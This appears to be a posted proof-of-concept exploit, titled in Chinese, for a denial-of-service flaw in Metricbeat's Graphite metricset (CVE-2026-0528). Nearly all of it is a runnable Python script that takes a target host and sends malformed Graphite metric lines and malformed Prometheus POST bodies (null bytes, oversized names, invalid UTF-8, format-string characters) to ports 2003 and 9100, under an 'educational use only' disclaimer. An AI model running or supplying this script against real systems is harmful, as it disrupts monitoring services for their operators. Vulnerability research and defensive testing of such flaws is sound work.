Metricbeat CVE-2026-0528 数组索引验证不当导致拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2026-0528 PoC - Metricbeat Graphite metricset DoS Note: This PoC is for educational and security testing purposes only. """ import socket import struct import time def send_malformed_graphite_payload(host, port=2003): """ Send malformed Graphite metric data to trigger array index validation issue """ # Malformed payloads that may cause parsing issues payloads = [ # Payload 1: Invalid metric name with null bytes b'\x00metric.test 1.0 ' + str(int(time.time())).encode() + b'\n', # Payload 2: Extremely long metric name b'a' * 10000 + b'.test 1.0 ' + str(int(time.time())).encode() + b'\n', # Payload 3: Malformed value b'metric.test \x80\xff\xfe ' + str(int(time.time())).encode() + b'\n', # Payload 4: Invalid timestamp b'metric.test 1.0 -99999999999999999999999999999999999999\n', # Payload 5: Format string like characters b'%s%s%s.test 1.0 ' + str(int(time.time())).encode() + b'\n', ] for i, payload in enumerate(payloads): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((host, port)) sock.send(payload) print(f"[+] Payload {i+1} sent to {host}:{port}") sock.close() time.sleep(0.5) except Exception as e: print(f"[-] Error sending payload {i+1}: {e}") def send_malformed_prometheus_metrics(host, port=9100): """ Send malformed Prometheus format metrics to trigger input validation issue """ malicious_metrics = [ # Metric with control characters b'metric_name\x00{test} 1.0\n', # Metric with invalid UTF-8 sequence b'metric_test \xc0\x80 1234567890\n', # Metric with excessive label count b'metric_test{' + b'a='*1000 + b'b="value"} 1.0\n', # Metric with very long value b'metric_test ' + b'9' * 100000 + b'\n', ] for i, metric in enumerate(malicious_metrics): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((host, port)) sock.send(b'POST /metrics HTTP/1.1\r\n') sock.send(b'Host: ' + host.encode() + b'\r\n') sock.send(b'Content-Type: text/plain\r\n') sock.send(b'Content-Length: ' + str(len(metric)).encode() + b'\r\n') sock.send(b'\r\n') sock.send(metric) print(f"[+] Prometheus payload {i+1} sent") sock.close() time.sleep(0.5) except Exception as e: print(f"[-] Error sending Prometheus payload {i+1}: {e}") if __name__ == '__main__': import sys if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_host>") print("Example: python3 {sys.argv[0]} 192.168.1.100") sys.exit(1) target = sys.argv[1] print(f"[*] Starting CVE-2026-0528 PoC against {target}") send_malformed_graphite_payload(target, 2003) send_malformed_prometheus_metrics(target, 9100) print("[*] PoC execution completed")